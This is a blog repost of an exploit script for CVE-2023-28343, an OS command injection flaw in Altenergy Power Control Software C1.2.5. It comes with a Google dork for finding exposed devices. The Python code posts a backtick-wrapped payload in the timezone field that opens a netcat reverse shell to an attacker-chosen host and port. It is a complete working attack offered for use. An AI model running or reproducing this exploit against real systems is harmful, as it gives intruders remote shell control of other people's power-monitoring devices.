Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863561204

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title:  Altenergy Power Control Software C1.2.5 - OS command injection 
# Google Dork: intitle:"Altenergy Power Control Software"
# Date: 15/3/2023
# Exploit Author: Ahmed Alroky
# Vendor Homepage: https://apsystems.com/
# Version: C1.2.5
# Tested on: Windows 10
# CVE : CVE-2023-28343


import requests
import argparse

def exploit(target,attacker,port):
    url = f'{target}/index.php/management/set_timezone'

    headers = {
        'Accept': 'application/json, text/javascript, */*; q=0.01',
        'X-Requested-With': 'XMLHttpRequest',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
        'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
        'Origin': f'{target}',
        'Referer': f'{target}/index.php/management/datetime',
        'Accept-Encoding': 'gzip, deflate',
        'Accept-Language': 'en-US,en;q=0.9',
        'Connection': 'close'
    }

    print(f"Sending  Request")
    data = {
        'timezone': f'`mknod /tmp/pipe p;/bin/sh 0</tmp/pipe | nc
{attacker} {port} 1>/tmp/pipe`'
    }

    response = requests.post(url, headers=headers, data=data)
    # print(response.text)
if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Parse target, attacker,
and port.',)

    parser.add_argument('--target','-t', type=str, help='The target IP
address or hostname. example : http://192.168.254')
    parser.add_argument('--attacker','-a', type=str, help='The attacker IP
address or hostname.')
    parser.add_argument('--port', '-p',type=int, help='Listening port')

    args = parser.parse_args()
    try:
        exploit(args.target,args.attacker,args.port)
    except:
        parser.print_help()
    print("Exploit done")